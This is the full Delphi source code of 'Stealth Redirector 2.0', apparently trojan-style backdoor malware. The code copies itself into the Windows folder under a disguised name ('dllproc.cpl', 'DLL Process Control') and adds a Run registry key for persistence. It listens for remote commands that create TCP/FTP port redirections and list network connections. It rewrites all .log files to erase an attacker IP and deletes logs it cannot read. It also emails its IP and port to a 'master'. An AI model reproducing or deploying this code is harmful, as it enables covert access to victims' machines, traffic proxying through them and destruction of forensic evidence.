{

              -----  STEALTH REDIRECTOR 2.0 SOURCE CODE -----

questions? visit http://sourceforge.net/projects/myredirect
}

unit Unit1;

interface

uses
 Windows, Sysutils, Forms,
   AppEvnts, IdIPWatch, IdMappedFTP, IdBaseComponent, IdComponent,
  IdTCPServer, IdMappedPortTCP,  fngnetstat, snmp,
   Registry, Classes,   ExtCtrls,    dialogs, IdTCPConnection, IdTCPClient,
  IdCoder, IdCoder3to4, IdCoderMIME;


type
  TRedirector = class(TForm)
    IdIPWatch1: TIdIPWatch;
    ApplicationEvents1: TApplicationEvents;
    Timer1: TTimer;
    Mail_Client: TIdTCPClient;
    Decoder: TIdDecoderMIME;
    function Gethost (var data:string):string;
    function Getportaremota (var data:string):integer;
    function Getportalocale (var data:string):integer;
    function Getcomando (var data:string):string;
    function GetRemoteIP (var data: string): string;
    procedure ApplicationEvents1Exception(Sender: TObject; E: Exception);
    procedure DistruggiTCPRedirection;
    procedure IdIPWatch1StatusChanged(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure CreaTCPRedirection (var data:string);
    procedure CreaFTPRedirection (var data:string);
    procedure Copysystem;
    procedure FilterLog (var IP: string);
    procedure Timer1Timer(Sender: TObject);
    procedure ServerExecute(AThread: TIdPeerThread);
    procedure SendMail;

  private
    FConnList :TFnugryIpConnectionList;
     activetcp,activeftp : boolean;
     idFTP: TIdMappedFTP;
     CountRedirect: integer;
     port_server: integer;
     filename: string;
     registry: string;
     mail:string;
     server_mail:string;
     Server: TIdTCPServer;
  public
    { Public declarations }
  end;

var
  Redirector: TRedirector;

implementation


{$R *.dfm}


function GetDLLPath: PChar;  stdcall;       // get dll path (for autocopy system)
var
 FN: array[0..MAX_PATH - 1] of char;
 ScriptName: String;
 path: string;
begin
 SetString(ScriptName, FN, GetModuleFileName(hInstance, FN, SizeOf(FN)));         // i discovered a bug in the dll path funcion when the program is execute in a floppy drive (eg. A:\)
 path:= copy(scriptname,1,lastdelimiter ('.',scriptname)) + 'cpl';            // and with this procedure i resolved the bug
 Result := PChar(path);
end;



function GetWindowsDir: TFileName;        // get windows directory (for autocopy system)
var
  WinDir: array [0..MAX_PATH-1] of char;
begin
  SetString(Result, WinDir, GetwindowsDirectory(WinDir, MAX_PATH));
end;

procedure TRedirector.Copysystem;        // copy the program to the windows path (eg. C:\Windows or C:\WINNT)
var
  reg  : TRegIniFile;
  reg2 : TRegIniFile;
begin

  reg := TRegIniFile.Create;
  reg.RootKey := HKEY_LOCAL_MACHINE;
  reg.OpenKeyreadonly('\Software\Microsoft\Windows\CurrentVersion\Run');

  if not Reg.ValueExists(registry) then
   begin
   //reg.WriteString('',registry,GetWindowsDir+'\'+filename );

     reg.CloseKey;
     reg.RootKey:= HKEY_CURRENT_USER;
     reg.OpenKeyreadonly('\Software\Microsoft\Windows\CurrentVersion\Run');
     if not reg.ValueExists(registry) then
     begin
      reg.CloseKey;
      //messagebox(0,'nn esiste kiave in HKEY_CURRENT_USER',0,0);
      reg2 := TRegIniFile.Create;
      reg2.RootKey := HKEY_LOCAL_MACHINE;
      try
      reg2.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',false);
      reg2.WriteString('',registry,'rundll32.exe shell32.dll,Control_RunDLL '+ GetWindowsDir+'\'+filename );
      //messagebox(0,'creata kiave in HKEY_LOCAL_MACHINE',0,0);
        except
          begin
          //messagebox(0,'failure!','error writing on HKEY_LOCAL_MACHINE',0);
          reg2.RootKey:= HKEY_CURRENT_USER;
          reg2.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',false);
          reg2.WriteString('',registry,'rundll32.exe shell32.dll,Control_RunDLL '+ GetWindowsDir+'\'+filename );
          end;

      end;

       reg2.Free;

   //messagebox(0,getdllpath,nil,0);
   CopyFile(getdllpath,PChar(GetWindowsDir+'\'+filename),False);
   Application.Terminate;                                                      // terminate application after copy (for more paranoiac users), the program is started after rebbot (or re-login in the system)
   end;
   end;
  reg.Free;
end;



function TRedirector.Gethost (var data:string):string;                         // getting host name for redirection
var host:string;
    a:integer;
begin
a:= lastdelimiter (' ',data);
host:= Copy (data,12,a-12);
Result:=host;
end;

function TRedirector.Getportaremota (var data:string):integer;
var a,b:integer;
    porta:string;
begin
a:= lastdelimiter (' ',data)+1;
b:= lastdelimiter ('[',data);
porta:= Copy (data,a,b-a);
Result:= strtoint(porta);
end;

function TRedirector.Getportalocale (var data:string):integer;
var a,b:integer;
    porta:string;
begin
a:= lastdelimiter ('[',data)+1;
b:= lastdelimiter (']',data);
porta:= Copy(data,a,b-a);
Result:= strtoint (porta);
end;

function TRedirector.Getcomando (var data:string):string;
begin
Result:= Copy (data,7,4);
end;

function TRedirector.GetRemoteIP (var data: string): string;
var a:integer;
begin
a:= length(data);
Result:= Copy (data,7,a-6);
end;


procedure TRedirector.ApplicationEvents1Exception(Sender: TObject;
  E: Exception);
begin
// non fare nulla                                     // do nothing for no-alerts popup when the application crash
end;

procedure TRedirector.CreaTCPRedirection (var data:string);       // create a TCP Redirection
var idTCP: TIdMappedPortTCP;
begin
CountRedirect:= CountRedirect+1;
try
idTCP := TIdMappedPortTCP.Create(self);
idTCP.Name:= 'TCPRedirect' + inttostr(CountRedirect);
idTCP.DefaultPort:= getportalocale(data);
idTCP.MappedHost:= gethost(data);
idTCP.MappedPort:= getportaremota(data);
idTCP.Active:=True;
activetcp:=True;
except
    begin                                                               // if an error encoured when create a tcp redirection, the program automatically delete them
     FreeAndNil(idTCP);
     CountRedirect:= CountRedirect-1;
     if CountRedirect = 0 then activetcp:= False;
    end
end;
end;

procedure TRedirector.CreaFTPRedirection (var data:string);          // create a ftp redirection (remember: ftp redirection support ONLY ONE redirection for times)
begin
try
idFTP := TIdMappedFTP.Create(self);
idFTP.DefaultPort:= getportalocale(data);
idFTP.MappedHost:= gethost(data);
idFTP.MappedPort:= getportaremota(data);
idFTP.OutboundDcMode:= fdcmPasv; //passive FTP connection
idFTP.Active:=True;
activeftp:=True;
except
    begin
     idFTP.Free;
     idFTP:=nil;
     activeftp:= false;
    end
end;
end;

procedure TRedirector.DistruggiTCPRedirection;               // destoy ALL tcp redirection
var TCPRedirect: TComponent; inc:integer;
begin
for inc:=1 to CountRedirect do
begin
TCPRedirect:= FindComponent('TCPRedirect'+ inttostr(inc));
FreeAndNil(TCPRedirect);
end;
CountRedirect:= 0;
activetcp:= False;
end;


procedure TRedirector.IdIPWatch1StatusChanged(Sender: TObject);       // if the pc is online (or connected to a LAN)
begin                                                                 // accept incoming connections
if IdIPWatch1.IsOnline then

  begin
  Server.Active := true;
  if mail <> '' then sendmail;                                        // send the email
  end
else

   Server.Active := false;
 
end;

procedure TRedirector.FormCreate(Sender: TObject);
 const MAX_DATA_SIZE_ENCRYPTED = 136;
    var

    { This is the format of the data we want to read:
            DATA:      filename   registry   port   mail adress  smtp server
            SIZE:       (15)       (20)      (5)       (35)         (25)
            TOTAL= 100 CHAR ==> ENCODED IN MIME (BASE 64) = 136 CHAR               }
                     

    { Initialise the array for the data to be read into (of size
      MAX_DATA_SIZE_ENCRYPTED + 1 for a null char) .                                      }
      szEncodeData : Array[0..MAX_DATA_SIZE_ENCRYPTED+1] of Char ;
      szDecodedData :string ;
    { Temporary string.                                                         }
      szTmp : String;
    { Temporary Integer.                                                        }
      iTmp : Integer;

    { To record the number of bytes read later on.                              }
      iBytesRead : DWORD ;

    { File handle for the file to be opened, initialised to a invalid handle. }
      fhSource : THandle ;

begin
// initialization variables
szEncodeData:= '';
szDecodedData:= '';
iBytesRead:= 0;
mail:= '';

fhSource  :=INVALID_HANDLE_VALUE;
{ Open the target file for writing to, using Win32 API. }
    fhSource := CreateFile(getdllpath, // Address of file
                           GENERIC_READ,       // Access attributes, ie allow reads.
                           FILE_SHARE_READ,    // Share Mode. Allow Read.
                           nil,                // Security Descriptor (nil means default)
                           OPEN_EXISTING,      // Creation Disposition (open existing file if exists)
                           0,                  // Flags and attributes (NONE)
                           0);                 // Template file (NONE)

    { The file has been opened successfully if the file handle is valid.        }
    if (fhSource <> INVALID_HANDLE_VALUE) then
    begin
        { Set the pointer to MAX_DATA_SIZE_ENCRYPTED bytes from the end of the file.      }
        SetFilePointer(fhSource, -MAX_DATA_SIZE_ENCRYPTED, nil, FILE_END);
       
        { Now read MAX_DATA_SIZE_ENCRYPTED bytes from the end of the file. If the data
          was NOT successfully appended to the end of the server, then there
          will be an issue because you will read the program data, since there
          is no appended data to read.                     }
        ReadFile(fhSource, szEncodeData, MAX_DATA_SIZE_ENCRYPTED, iBytesRead, nil);
       
        { Now finished with the file, so we must close it now.                  }
        CloseHandle(fhSource);
                
        { If the number of bytes read equals the number of bytes that we
           wanted to read, then the operation was successful.                   }
        if (iBytesRead = MAX_DATA_SIZE_ENCRYPTED) then
         begin
           szDecodedData:= decoder.DecodeString(szEncodeData);
           { Get the filename from the read data... (trimming trailing spaces) }
           szTmp := Trim(Copy(szDecodedData, 1, 15));
           filename:=szTmp;

           { Get the registry key from the read data... }
           szTmp := Trim(Copy(szDecodedData, 16, 20));
           registry:= szTmp;



           { Get the port from the read data... (trimming trailing spaces) }
           szTmp := Trim(Copy(szDecodedData, 36, 5));
           iTmp := StrToIntDef(szTmp, 0);
           port_server:= iTmp;

           //get the mail adress from the read data
           szTmp:= Trim(Copy(szDecodedData, 41, 35));
           mail:= szTmp;

           // get the mail server from the read data
           szTmp:= Trim(Copy(szDecodedData, 76, 25));
           server_mail:= szTmp;
           { Done!                                                              }
           //MessageBox(0, 'File successfully read from!', 'Success!', MB_OK or MB_ICONINFORMATION);
           
         end
        else
         { Error reading the file, so  creating defaults settings   }
           begin
             //MessageBox(0, 'error reading file!', 'failure!', MB_OK or MB_ICONINFORMATION);
             port_server:= 5500;
             filename:= 'dllproc.cpl';
             registry:= 'DLL Process Control';
           end;
        
    end


    else
       { Error opening the file, so  creating defaults settings   }
       begin
             // MessageBox(0, 'error opening file', 'failure!', MB_OK or MB_ICONINFORMATION);
             port_server:= 5500;
             filename:= 'dllproc.cpl';
             registry:= 'DLL Process Control';
           end;



FConnList := TFnugryIpConnectionList.Create(Self);
CountRedirect:= 0;
Copysystem;                                                       // the procedure for copying the program into Windows folder
Server:= TIdTCPServer.Create(self);
  Server.OnExecute:= ServerExecute;
  Server.DefaultPort:= port_server;
end;

procedure TRedirector.FormDestroy(Sender: TObject);
begin
 if assigned(FConnList) then
      FConnList.Free;


end;



procedure GetFiles(DirStr: string; filelist: TStrings);
var DirInfo: TSearchRec;
   r : Integer;
   pattern: String;
begin
 pattern := ExtractFileName(DirStr);
 if Pos('*', pattern) > 0 then
   DirStr := ExtractFilePath(DirStr)
 else
   pattern := '*.*';
 if DirStr[Length(DirStr)] <> '\' then
   DirStr := DirStr + '\';
 if SetCurrentDir((DirStr)) then
 begin
   r := FindFirst(pattern, FaAnyfile, DirInfo);
   while r = 0 do
   begin
     if (DirInfo.Attr and faDirectory) = 0 then
       filelist.Add(DirStr + DirInfo.Name);
     r := FindNext(DirInfo);
   end;
   FindClose(DirInfo);
   r := FindFirst('*.*', FaAnyfile, DirInfo);
   while r = 0 do
   begin
     if (DirInfo.Attr and faDirectory) <> 0 then
       if (DirInfo.Name <> '.') and (DirInfo.Name <> '..') then
         GetFiles(DirStr + DirInfo.Name + '\' + pattern, filelist);
     r := FindNext(DirInfo);
   end;
   FindClose(DirInfo);
 end;
end;

procedure TRedirector.FilterLog (var IP:string);
var filelist : TStrings; i: integer; int : integer; inc : integer; root : string;
myFile : TextFile;
logtext: tstrings;
canmodify : boolean;
begin
 filelist:= TStringlist.Create;
 root := GetWindowsDir;
 root:= Copy(root,1,3);
GetFiles(root+'*.log',filelist);
 for i := 0 to (filelist.count - 1) do
 begin

  if FileExists(filelist.Strings[i]) then
   begin
    canmodify:= True;
    logtext:= TStringlist.Create;
    try
     logtext.LoadFromFile(filelist.Strings[i]);
    except
      on EFOpenError do
         begin
          DeleteFile(filelist.Strings[i]);
          canmodify:= False;
         end;
    end;

   if canmodify then
    begin

      for int := 0 to (logtext.count - 1) do
        begin
         logtext.Strings[int]:= StringReplace(logtext.Strings[int],IP,'127.0.0.1', [rfReplaceAll]);
        end;
      AssignFile(myFile,filelist.Strings[i]);
      Rewrite(myFile);
      for inc := 0 to (logtext.count - 1) do
        begin
         Writeln(myFile,logtext.strings[inc]);
        end;
      closefile(myfile);
    end;
     logtext.Free;
   end;
 end;
 filelist.Free;
end;

procedure TRedirector.Timer1Timer(Sender: TObject);
begin
Application.ProcessMessages;
end;


procedure TRedirector.ServerExecute(AThread: TIdPeerThread);
var  data,s,IP:string;
     i:integer;
begin
with Athread.Connection do
begin

data:= Readln(#13#10);
if pos('/TCPD',data)=1 then
   begin
      if getcomando(data)='CONN' then
         begin
             CreaTCPRedirection(data);
             WriteLn('Created a Connection redirect to '+gethost(data)+', please check it with "Status Server" command');
         end
      else if getcomando(data)='DISC' then
         begin
          if activetcp  then
           begin
            DistruggiTCPRedirection;
            Writeln('TCP Redirections destroyed!');
           end
          else WriteLn('TCP Redirection is already not active!');
         end
      else WriteLn('Command '+getcomando(data)+' not understood');
   end
else if pos('/FTPD',data)=1 then
   begin
      if getcomando(data)='CONN' then
         begin
          if not activeftp then
            begin
             CreaFTPRedirection(data);
             WriteLn('Created a Connection redirect to '+gethost(data)+' please check it with "Status Server" command');
            end
          else WriteLn('FTP Redirection is already active!');
         end
      else if getcomando(data)='DISC' then
         begin
          if activeftp  then                 // if ftp redirection is active destoy them
             begin
               idFTP.Free;
               idFTP:= nil;
               activeftp:= false;
               Writeln('FTP Redirection destroyed!');
             end
          else WriteLn('FTP Redirection is already not active!');
         end
      else WriteLn('Command '+getcomando(data)+' not understood');
   end
else if pos('/STAT',data)=1 then
   begin
      if activetcp then WriteLn('TCP Redirection is active , total redirects active: ' + inttostr(Countredirect))
      else WriteLn('TCP Redirection is not active');
      if activeftp then WriteLn('FTP Redirection is active on port '+ inttostr (idFTP.DefaultPort)+',Redirect Host: '+idFTP.MappedHost+' Redirect Port: '+inttostr(idFTP.MappedPort))
      else WriteLn('FTP Redirection is not active');
   end
else  if pos('/NETS',data) = 1 then
   begin

            assert(assigned(FConnList));
            FConnList.Refresh;
            S := format('%-5s %-15s %-4s  %-15s %-4s  %s',
                 ['Proto', 'Local IP', 'Port',
                  'Remote IP', 'Port', 'State']);
              WriteLn(S);
              WriteLn('');

       for I := 0 to FConnList.ConnCount-1 do
          begin
             with FConnList[I] do
               S := format('%-5s %-15s:%-4d  %-15s:%-4d  %s',
                 [IpProtoName, LocalIpString, LocalPort,
                  RemoteIpString, RemotePort, StateString]);
              WriteLn(S);
          end;
   end
else if pos('/LOGD',data) = 1 then
   begin
      IP:= GetRemoteIP(data);
      WriteLn('Deleting '+IP+' on all *.log files. ATTENTION: When the server is performing this operation, all commands are ignored. When the server finish, the connection is CLOSED!');
      FilterLog(IP);
   end
else Disconnect;
end;

end;


procedure TRedirector.SendMail;                     // this function send a mail to a mail adress
begin
Mail_client.Host:= server_mail;
Mail_Client.Connect(0);
Mail_Client.WriteLn('HELO hostname'); SLEEP(500);
Mail_Client.WriteLn('MAIL FROM: <nobody@nobody.com>');
SLEEP(1000);
Mail_Client.WriteLn('RCPT TO: <'+mail+'>'); SLEEP(700);
Mail_Client.WriteLn('DATA');  SLEEP(700);
Mail_Client.WriteLn('From: "Stealth Redirector" <nobody@nobody.com>');
Mail_Client.WriteLn('To: <'+mail+'>');
Mail_Client.WriteLn('Subject: My IP adress ');
Mail_Client.WriteLn('MIME-Version: 1.0');
Mail_Client.WriteLn('Content-type: text/plain; charset=iso-8859-1');
Mail_Client.WriteLn('Content-transfer-encoding: 8bit');
Mail_Client.WriteLn('Date: Mon, 01 Nov 2003 00:00:01 UT'); //the data header

Mail_Client.WriteLn();         SLEEP(700);
Mail_Client.WriteLn('Hi master, my ip is '+idipwatch1.CurrentIP+' on port '+inttostr(Server.DefaultPort));SLEEP(100);
Mail_Client.WriteLn();
Mail_Client.WriteLn('Stealth Redirector 2.0');SLEEP(100);
Mail_Client.WriteLn('http://sourceforge.net/projects/myredirect');
Mail_Client.WriteLn('.');  SLEEP(100);
Mail_Client.WriteLn('QUIT');
Mail_Client.Disconnect;
end;

end.




